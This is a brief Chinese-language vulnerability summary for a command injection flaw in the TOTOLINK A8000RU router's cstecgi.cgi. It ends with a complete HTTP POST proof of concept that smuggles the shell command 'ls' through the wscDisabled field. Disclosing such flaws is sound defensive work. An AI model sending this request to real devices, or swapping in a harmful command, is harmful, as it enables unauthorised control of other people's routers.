# A8000RU 命令注入漏洞总结 ## 漏洞概述 TOTOLINK A8000RU 路由器存在命令注入漏洞。在 `cstecgi.cgi` 中,攻击者可以通过构造恶意请求,利用 `wscDisabled` 参数注入任意操作系统命令。 ## 影响范围 - **厂商**: TOTOLINK - **产品**: A8000RU - **版本**: 7.1cu.643_b20200521 ## 修复方案 页面未提供具体的修复方案或补丁信息。 ## 概念验证 (PoC) ```http POST /cgi-bin/cstecgi.cgi HTTP/1.1 Host: 192.168.6.2 Content-Length: 75 X-Requested-With: XMLHttpRequest Accept-Language: en-US,en;q=0.9 Accept: application/json, text/javascript, */*; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36 Origin: http://192.168.6.2 Referer: http://192.168.6.2/basic/index.html Accept-Encoding: gzip, deflate, br Cookie: SESSION_ID=2177246370212 Connection: keep-alive {"topicurl":"setWiFiWpsStart","wscDisabled":"ls>./setWiFiWpsStart.txt"} ```